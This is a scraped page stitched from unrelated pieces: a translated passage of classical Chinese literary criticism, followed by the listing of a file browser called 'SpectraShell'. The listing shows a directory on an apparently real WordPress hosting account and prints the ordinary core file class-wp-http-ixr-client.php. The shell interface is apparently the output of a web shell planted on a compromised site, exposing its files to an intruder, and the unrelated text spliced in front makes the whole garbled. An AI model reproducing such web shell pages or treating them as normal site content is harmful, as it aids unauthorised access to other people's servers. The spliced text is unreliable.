Critics have remarked that those four worthies were truly peerless throughout the ages; yet the present falls short of the past—the ancients favored unadorned simplicity, whereas the moderns prefer refined elegance. Styles of substance and ornament rise and fall in succession, shifting with the changing mores of the times; such evolution is simply the natural order of things. The ideal lies in honoring antiquity without clashing with the present, and embracing modernity without succumbing to its flaws—embodying that perfect balance of substance and refinement that defines the true gentleman. There is surely no need to abandon a carved palace in favor of a cave dwelling, or to trade a jade carriage for a primitive cart with solid wooden wheels.🌌 SpectraShell

🌌 SpectraShell

Current path: home/u461622454/domains/samslettings.com/public_html/wp-includes/


⬆️ Go up: /home/u461622454/domains/samslettings.com/public_html

📄 Viewing: class-wp-http-ixr-client.php

<?php
/**
 * WP_HTTP_IXR_Client
 *
 * @package WordPress
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_HTTP_IXR_Client extends IXR_Client {
	public $scheme;
	/**
	 * @var IXR_Error
	 */
	public $error;

	/**
	 * @param string       $server
	 * @param string|false $path
	 * @param int|false    $port
	 * @param int          $timeout
	 */
	public function __construct( $server, $path = false, $port = false, $timeout = 15 ) {
		if ( ! $path ) {
			// Assume we have been given a URL instead.
			$bits         = parse_url( $server );
			$this->scheme = $bits['scheme'];
			$this->server = $bits['host'];
			$this->port   = isset( $bits['port'] ) ? $bits['port'] : $port;
			$this->path   = ! empty( $bits['path'] ) ? $bits['path'] : '/';

			// Make absolutely sure we have a path.
			if ( ! $this->path ) {
				$this->path = '/';
			}

			if ( ! empty( $bits['query'] ) ) {
				$this->path .= '?' . $bits['query'];
			}
		} else {
			$this->scheme = 'http';
			$this->server = $server;
			$this->path   = $path;
			$this->port   = $port;
		}
		$this->useragent = 'The Incutio XML-RPC PHP Library';
		$this->timeout   = $timeout;
	}

	/**
	 * @since 3.1.0
	 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it
	 *              to the function signature.
	 *
	 * @return bool
	 */
	public function query( ...$args ) {
		$method  = array_shift( $args );
		$request = new IXR_Request( $method, $args );
		$xml     = $request->getXml();

		$port = $this->port ? ":$this->port" : '';
		$url  = $this->scheme . '://' . $this->server . $port . $this->path;
		$args = array(
			'headers'    => array( 'Content-Type' => 'text/xml' ),
			'user-agent' => $this->useragent,
			'body'       => $xml,
		);

		// Merge Custom headers ala #8145.
		foreach ( $this->headers as $header => $value ) {
			$args['headers'][ $header ] = $value;
		}

		/**
		 * Filters the headers collection to be sent to the XML-RPC server.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $headers Associative array of headers to be sent.
		 */
		$args['headers'] = apply_filters( 'wp_http_ixr_client_headers', $args['headers'] );

		if ( false !== $this->timeout ) {
			$args['timeout'] = $this->timeout;
		}

		// Now send the request.
		if ( $this->debug ) {
			echo '<pre class="ixr_request">' . htmlspecialchars( $xml ) . "\n</pre>\n\n";
		}

		$response = wp_safe_remote_post( $url, $args );

		if ( is_wp_error( $response ) ) {
			$errno       = $response->get_error_code();
			$errorstr    = $response->get_error_message();
			$this->error = new IXR_Error( -32300, "transport error: $errno $errorstr" );
			return false;
		}

		if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
			$this->error = new IXR_Error( -32301, 'transport error - HTTP status code was not 200 (' . wp_remote_retrieve_response_code( $response ) . ')' );
			return false;
		}

		if ( $this->debug ) {
			echo '<pre class="ixr_response">' . htmlspecialchars( wp_remote_retrieve_body( $response ) ) . "\n</pre>\n\n";
		}

		// Now parse what we've got back.
		$this->message = new IXR_Message( wp_remote_retrieve_body( $response ) );
		if ( ! $this->message->parse() ) {
			// XML error.
			$this->error = new IXR_Error( -32700, 'parse error. not well formed' );
			return false;
		}

		// Is the message a fault?
		if ( 'fault' === $this->message->messageType ) {
			$this->error = new IXR_Error( $this->message->faultCode, $this->message->faultString );
			return false;
		}

		// Message must be OK.
		return true;
	}
}

📁